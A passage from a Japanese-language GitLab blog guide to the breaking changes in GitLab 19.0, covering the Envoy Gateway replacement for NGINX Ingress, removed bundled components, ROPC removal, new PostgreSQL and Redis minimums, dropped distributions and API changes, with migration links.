例外的な状況により、破壊的な変更がこれらのウィンドウをわずかに超える場合があります。\n \n### GitLab Self-Managed版\n \nGitLab 19.0は2026年5月21日より提供開始予定です。\n\n> [リリーススケジュール](https://about.gitlab.com/releases/)の詳細はこちら。\n \n### GitLab Dedicated\n \nGitLab 19.0へのアップグレードは、割り当てられたメンテナンスウィンドウ内に実施されます。詳細および割り当てられたメンテナンスウィンドウは、Switchboardポータルでご確認いただけます。GitLab DedicatedインスタンスはリリースN-1で維持されるため、GitLab 19.0へのアップグレードは2026年6月22日の週のメンテナンスウィンドウ中に実施されます。\n\nGitLab 19.0での削除予定項目の一覧は、[非推奨機能ページ](https://docs.gitlab.com/update/deprecations/?removal_milestone=19.0&breaking_only=true)でご確認ください。ご自身のデプロイ環境に応じた今年のリリースへの準備方法を以下でご説明します。\n \n## 破壊的な変更\n\n影響度が高い破壊的な変更は以下のとおりです。\n \n### 影響度：高\n \n**1. NGINX IngressのサポートがGateway API（Envoy Gateway）に置き換え**\n \n_GitLab Self-Managed版（Helmチャート）_\n \nGitLab HelmチャートはNGINX Ingressをデフォルトのネットワークコンポーネントとしてバンドルしてきました。NGINX Ingressは2026年3月にサポート終了（EOL）を迎えたため、GitLabはGateway API（Envoy Gateway）を新しいデフォルトに移行します。\n \nGitLab 19.0からは、Gateway APIとバンドルされたEnvoy Gatewayがデフォルトのネットワーク設定になります。Envoy Gatewayへの移行をすぐに実施できない場合は、バンドルされたNGINX Ingressを明示的に再有効化できます。このNGINX Ingressは、GitLab 20.0での完全削除が予定されるまで引き続き利用できます。\n \nこの変更の影響を受けないケース：\n- Linuxパッケージで使用しているNGINX\n- 外部管理のIngressまたはGateway APIコントローラーを使用しているGitLab HelmチャートおよびGitLab Operatorインスタンス\n \nGitLabは、完全削除までの間、フォークされたNGINX Ingressチャートとビルドにベストエフォートのセキュリティメンテナンスを提供します。スムーズな移行のため、19.0アップグレード前に、提供されているGateway APIソリューションまたは外部管理のIngressコントローラーへの移行計画を立ててください。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/590800)\n \n\n**2. GitLab HelmチャートからバンドルのPostgreSQL、Redis、MinIOを削除**\n \n_GitLab Self-Managed版（Helmチャート）_\n \nGitLab Helmチャートは、概念実証（PoC）環境やテスト環境でのGitLabセットアップを容易にするため、Bitnami PostgreSQL、Bitnami Redis、および公式MinIOチャートのフォークをバンドルしてきました。ライセンスの変更、プロジェクトメンテナンス、パブリックイメージの提供状況の変化により、これらのコンポーネントはGitLab HelmチャートおよびGitLab Operatorから代替なしで削除されます。\n \nこれらのチャートは、本番環境での使用は推奨されないことが明示されており、クイックスタートのテスト環境を構築することのみを目的としていました。\n \nバンドルのPostgreSQL、Redis、またはMinIOを使用しているインスタンスをお持ちの場合は、[移行ガイド](https://docs.gitlab.com/ja-jp/charts/installation/migration/bundled_chart_migration/)に従って、GitLab 19.0にアップグレードする前に外部サービスを設定してください。LinuxパッケージのRedisおよびPostgreSQLはこの変更の影響を受けません。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/590797)\n \n\n**3. Resource Owner Password Credentials（ROPC）OAuthグラントを削除**\n \n_GitLab.com | Self-Managed版 | Dedicated_\n \nOAuthフローとしてのResource Owner Password Credentials（ROPC）グラントのサポートは、GitLab 19.0で完全に削除されます。これは、ROPCを固有のセキュリティ上の制限を理由に削除するOAuth RFC Version 2.1標準への準拠によるものです。\n \nGitLabはすでに、2025年4月8日よりGitLab.com上のROPCにクライアント認証を義務付けています。また、削除前に制御されたオプトアウトを可能にするための管理者設定が18.0で追加されました。\n \n19.0アップグレード後は、クライアント認証情報を使用している場合でも、ROPCはいかなる状況でも使用できません。このグラントタイプを使用しているアプリケーションや統合は、アップグレード前に認証コードフローなどのサポートされているOAuthフローに移行する必要があります。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/issues/457353)\n \n**4. PostgreSQL 16のサポート終了 — PostgreSQL 17が新しい最低要件**\n \n_GitLab Self-Managed版_\n \nGitLabはPostgreSQLの[年次アップグレードサイクル](https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/data-access/database-framework/postgresql-upgrade-cadence/)に従っています。GitLab 19.0ではPostgreSQL 17が必要な最低バージョンとなり、PostgreSQL 16のサポートは終了します。\n \nPostgreSQL 17はGitLab 18.9から利用可能であるため、19.0リリース前であればいつでもアップグレードできます。\n \nLinuxパッケージ経由でインストールした単一のPostgreSQLインスタンスを実行しているインスタンスでは、18.11アップグレード時にPostgreSQL 17への自動アップグレードが試みられる場合があります。アップグレードに十分なディスク容量があることを確認してください。\n \nPostgreSQL Clusterを使用しているインスタンス、または自動アップグレードをオプトアウトしているインスタンスでは、GitLab 19.0にアップグレードする前にPostgreSQL 17への手動アップグレードが必要です。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/issues/589774) | [アップグレードガイド](https://docs.gitlab.com/ja-jp/omnibus/settings/database/#upgrade-packaged-postgresql-server)\n \n\n \n### 影響度：中\n\n影響度が中程度の破壊的な変更は以下のとおりです。\n \n**1. LinuxパッケージのUbuntu 20.04サポートを廃止**\n \n_GitLab Self-Managed版_\n \nUbuntu 20.04の標準サポートは2025年5月に終了しました。GitLabの[Linuxパッケージサポートプラットフォームポリシー](https://docs.gitlab.com/ja-jp/install/package/#supported-platforms)に基づき、ベンダーによるOSサポートが終了した時点でパッケージのサポートも終了します。\n \nGitLab 19.0からはUbuntu 20.04向けパッケージの提供を終了します。GitLab 18.11が、このディストリビューション向けの最後のLinuxパッケージリリースとなります。\n \n現在Ubuntu 20.04でGitLabを実行している場合は、GitLab 19.0へのアップグレード前に、Ubuntu 22.04または[サポートされているオペレーティングシステム](https://docs.gitlab.com/ja-jp/install/package/#supported-platforms)にアップグレードする必要があります。Canonicalは移行を支援する[アップグレードガイド](https://documentation.ubuntu.com/server/how-to/software/upgrade-your-release/)を提供しています。\n \n[非推奨通知](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/8915)\n \n\n**2. Redis 6のサポートを削除**\n \n_GitLab Self-Managed版_\n \nGitLab 19.0ではRedis 6のサポートが削除されます。アップグレード前に、外部のRedis 6デプロイを使用しているインスタンスはRedis 7.2またはValkey 7.2に移行する必要があります。Valkey 7.2はGitLab 18.9でベータ版として提供開始され、GitLab 19.0での一般提供（GA）が予定されています。\n \nLinuxパッケージに含まれるバンドルのRedisはGitLab 16.2以降Redis 7を使用しており、影響を受けません。外部のRedis 6デプロイを使用しているインスタンスのみ対応が必要です。\n \n一般的なプラットフォームの移行リソースは以下のとおりです。\n \n- **AWS ElastiCache：** [Redis 7.2またはValkey 7.2](https://docs.aws.amazon.com/AmazonElastiCache/latest/dg/supported-engine-versions.html)にアップグレード\n- **GCP Memorystore：** [Redis 7.2またはValkey 7.2](https://cloud.google.com/memorystore/docs/redis/supported-versions)にアップグレード\n- **Azure Cache for Redis：** Azureでは管理型のRedis 7.2またはValkey 7.2はまだ利用できません。Azure VMまたはAKS上でセルフホストするか、GitLab 19.0 GAでValkey 7.2をサポートするLinuxパッケージインストールを使用してください。\n- **セルフホスト：** Redis 6インスタンスをRedis 7.2またはValkey 7.2にアップグレード。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/585839) | [要件ドキュメント](https://docs.gitlab.com/ja-jp/install/requirements/)\n \n\n \n**3. `heroku/builder:22`イメージが`heroku/builder:24`に置き換え**\n \n_GitLab.com | Self-Managed版 | Dedicated_\n \nAuto DevOpsで使用するクラウドネイティブビルドパック（CNB）ビルダーイメージが`heroku/builder:24`に更新されました。この変更は、[Auto DevOpsのAuto Buildステージ](https://docs.gitlab.com/ja-jp/topics/autodevops/stages/#auto-build)で提供される[`auto-build-image`](https://gitlab.com/gitlab-org/cluster-integration/auto-build-image)を使用するパイプラインに影響します。\n \nほとんどのワークロードは影響を受けませんが、一部のユーザーには破壊的な変更となる場合があります。アップグレード前に[Heroku-24スタックのリリースノート](https://devcenter.heroku.com/articles/heroku-24-stack#what-s-new)と[アップグレードノート](https://devcenter.heroku.com/articles/heroku-24-stack#upgrade-notes)を確認し、影響範囲を把握してください。\n \nGitLab 19.0以降も`heroku/builder:22`を引き続き使用する必要がある場合は、CI/CD変数`AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER`を`heroku/builder:22`に設定してください。\n \n[非推奨通知](https://gitlab.com/gitlab-org/cluster-integration/auto-build-image/-/issues/79)\n\n\n**4. MattermostをLinuxパッケージから削除**\n \n_GitLab Self-Managed版_\n \nGitLab 19.0では、バンドルされたMattermostがLinuxパッケージから削除されます。Mattermostは2015年にGitLabとのバンドルが開始されましたが、その後スタンドアロンデプロイの選択肢が充実しました。また、Mattermost v11では[GitLab SSOが無料プランから非推奨化](https://forum.mattermost.com/t/mattermost-v11-changes-in-free-offerings/25126)されたことで、バンドル統合の価値が低下しました。\n \nバンドルのMattermostを使用していないお客様には影響がありません。現在使用している場合は、Mattermostドキュメントの[GitLab OmnibusからMattermost Standaloneへの移行](https://docs.mattermost.com/administration-guide/onboard/migrate-gitlab-omnibus.html)を参照して移行手順を確認してください。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/590798)\n \n\n \n**5. LinuxパッケージのSUSEディストリビューションサポートを廃止**\n \n_GitLab Self-Managed版_\n \nGitLab 19.0では、LinuxパッケージのSUSEディストリビューションサポートが終了します。対象は以下のとおりです。\n \n- openSUSE Leap 15.6\n- SUSE Linux Enterprise Server 12.5\n- SUSE Linux Enterprise Server 15.6\n \nGitLab 18.11がこれらのディストリビューション向けの最後のLinuxパッケージバージョンとなります。推奨される移行方法は、基盤となるOSを変更せずにアップグレードを継続できるよう、既存のディストリビューション上でGitLabの[Dockerデプロイ](https://docs.gitlab.com/ja-jp/install/docker/installation/)に移行することです。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/590801)\n \n\n \n### 影響度：低\n\n影響度が低い破壊的な変更は以下のとおりです。\n \n**1. SpamcheckをLinuxパッケージおよびGitLab Helmチャートから削除**\n \n_GitLab Self-Managed版_\n \nGitLab 19.0では、[Spamcheck](https://docs.gitlab.com/ja-jp/administration/reporting/spamcheck/)がLinuxパッケージおよびGitLab Helmチャートから削除されます。これは主に大規模なパブリックインスタンスに関連する機能であり、GitLabの顧客ベースではエッジケースに該当します。削除により、大多数のお客様のパッケージサイズと依存関係が削減されます。\n \n現在Spamcheckを使用していないお客様には影響がありません。バンドルのSpamcheckを使用している場合は、[Docker](https://gitlab.com/gitlab-org/gl-security/security-engineering/security-automation/spam/spamcheck)を使用して個別にデプロイできます。データ移行は不要です。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/590796)\n \n\n**2. Slashコマンド統合（Slack）を削除**\n \n_GitLab Self-Managed版 | Dedicated_\n \n[SlackのSlashコマンド統合](https://docs.gitlab.com/ja-jp/user/project/integrations/slack_slash_commands/)は、同等の機能をより安全に提供する[GitLab for Slackアプリ](https://docs.gitlab.com/user/project/integrations/gitlab_slack_application/)への移行に伴い非推奨となります。\n \nGitLab 19.0からは、SlackのSlashコマンドの設定および使用ができなくなります。この統合はGitLab Self-Managed版およびGitLab Dedicatedにのみ存在するため、GitLab.comユーザーへの影響はありません。\n \nインスタンスへの影響を確認するには、[影響確認ガイダンス](https://gitlab.com/gitlab-org/gitlab/-/work_items/569345#am-i-impacted)をご参照ください。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/569345)\n \n\n**3. API経由のBitbucket Cloudインポートでアプリパスワードが使用不可に**\n \n_GitLab.com | Self-Managed版 | Dedicated_\n \nAtlassianはBitbucket Cloudのアプリパスワード（ユーザー名/パスワード認証）を非推奨とし、この認証方式が2026年6月9日に機能停止することを発表しています。\n \nGitLab 19.0からは、GitLab APIを通じてBitbucket Cloudからリポジトリをインポートする際、アプリパスワードの代わりに[ユーザーAPIトークン](https://support.atlassian.com/organization-administration/docs/understand-user-api-tokens/)が必要になります。Bitbucket ServerからのインポートやGitLab UI経由でのBitbucket Cloudからのインポートは影響を受けません。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/588961) | [影響確認](https://gitlab.com/gitlab-org/gitlab/-/work_items/588961#am-i-impacted)\n \n**4. Exploreプロジェクトページからトレンドタブを削除**\n \n_GitLab.com | Self-Managed版 | Dedicated_\n \n**Explore > プロジェクト**の**トレンド**タブおよび関連するGraphQL引数がGitLab 19.0で削除されます。トレンドアルゴリズムはパブリックプロジェクトのみを対象としているため、内部または非公開プロジェクトを主に使用するSelf-Managedインスタンスでは効果が低い状況でした。\n \nGitLab 19.0リリースの1か月前に、GitLab.comの**トレンド**タブはスター数の降順に並べた**アクティブ**タブにリダイレクトされます。\n \n合わせて削除されるもの：`Query.adminProjects`、`Query.projects`、`Organization.projects` GraphQLタイプの`trending`引数。\n \n[非推奨通知](https://gitlab.com/groups/gitlab-org/-/work_items/18493)\n \n\n**5. コンテナレジストリストレージドライバーの更新**\n \n_GitLab Self-Managed版_\n \nGitLab 19.0では、2つのレガシーコンテナレジストリストレージドライバーが置き換えられます。\n \n- **Azureストレージドライバー：** レガシーの`azure`ドライバーは新しい`azure_v2`ドライバーのエイリアスになります。手動での対応は不要ですが、信頼性とパフォーマンス向上のため、積極的な移行を推奨します。移行手順は[オブジェクトストレージのドキュメント](https://docs.gitlab.com/ja-jp/administration/packages/container_registry/#use-object-storage)をご参照ください。[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/issues/523096)\n \n- **S3ストレージドライバー（AWS SDK v1）：** レガシーの`s3`ドライバーは新しい`s3_v2`ドライバーのエイリアスになります。`s3_v2`ドライバーはSignature Version 2をサポートしないため、`v4auth: false`の設定は透過的に無視されます。アップグレード前にSignature Version 4への移行を実施してください。[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/issues/523095)\n \n\n**6. `ciJobTokenScopeAddProject` GraphQLミューテーションを削除**\n \n_GitLab.com | Self-Managed版 | Dedicated_\n \n`ciJobTokenScopeAddProject` GraphQLミューテーションは、GitLab 18.0のCI/CDジョブトークンスコープ変更と同時に導入された`ciJobTokenScopeAddGroupOrProject`への移行に伴い非推奨となります。アップグレード前に、非推奨のミューテーションを使用している自動化やツールを更新してください。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/issues/474175)\n\n \n**7. `ci_job_token_scope_enabled` Projects API属性を削除**\n \n_GitLab.com | Self-Managed版 | Dedicated_\n \n[プロジェクトREST API](https://docs.gitlab.com/ja-jp/api/projects/)の`ci_job_token_scope_enabled`属性はGitLab 19.0で削除されます。この属性はGitLab 18.0で基盤となる設定が削除された際に非推奨となり、以降は常に`false`を返していました。\n \nCI/CDジョブトークンのアクセスを制御するには、[CI/CDジョブトークンのプロジェクト設定](https://docs.gitlab.com/ci/jobs/ci_job_token/#control-job-token-access-to-your-project)を使用してください。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/issues/423091)\n \n\n \n**8. GitLab.comで未認証のProjects APIページネーション制限を適用**\n \n_GitLab.com_\n \nプラットフォームの安定性を維持し、一貫したパフォーマンスを確保するため、GitLab.comのProjects List REST APIへの未認証リクエストすべてに対して、最大オフセット上限50,000が適用されます。たとえば、1ページあたり20件の結果を取得する場合、`page`パラメーターは最大2,500ページに制限されます。\n \nより多くのデータへのアクセスが必要なワークフローは、キーセットベースのページネーションパラメーターを使用する必要があります。この制限はGitLab.comにのみ適用されます。GitLab Self-Managed版およびGitLab Dedicatedでは、オフセット制限はデフォルトでフィーチャーフラグ配下で無効になります。\n \n[非推奨通知](https://gitlab.com/gitlab-org/gitlab/-/work_items/585176)\n \n## 影響確認・対応に役立つリソース\n \nお客様がGitLabインスタンスへの影響を把握できるよう、専用のツールを開発しました。影響を確認したら、各変更に関連するドキュメントに記載されている軽減手順を参照し、GitLab 19.0へのスムーズな移行を実現してください。\n \n**[GitLab Detective](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective)（Self-Managed版のみ）：** この実験的なツールは、設定ファイルとデータベースの値を確認することで、GitLabインストール環境の既知の問題を自動的に診断します。注意：このツールはGitLabノード上で直接実行する必要があります。\n \n有料プランをお持ちで、これらの変更について質問があるかサポートが必要な場合は、[GitLab サポートポータル](https://support.gitlab.com/)からサポートチケットを開いてください。\n \nGitLab.comの無料ユーザーの場合は、[GitLabドキュメント](https://docs.gitlab.com/ja-jp/)、[GitLabコミュニティフォーラム](https://forum.gitlab.com/)、[Stack Overflow](https://stackoverflow.com/questions/tagged/gitlab)などのコミュニティリソースを通じてサポートを受けられます。\n",[745,719],[1236],"Martin Brümmer","GitLab 19.0の破壊的な変更ガイド","GitLab 19.0では複数の非推奨機能が削除され、破壊的な変更が実施されます。GitLab.com・Self-Managed版・Dedicatedの各デプロイタイプへの影響範囲と軽減手順を確認し、スムーズなアップグレードに備えましょう。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1775561395/bhe1as7ttjvzltxwgo5m.png",{"featured":641,"template":796,"slug":1241},"a-guide-to-the-breaking-changes-in-gitlab-19-0",1776430045828]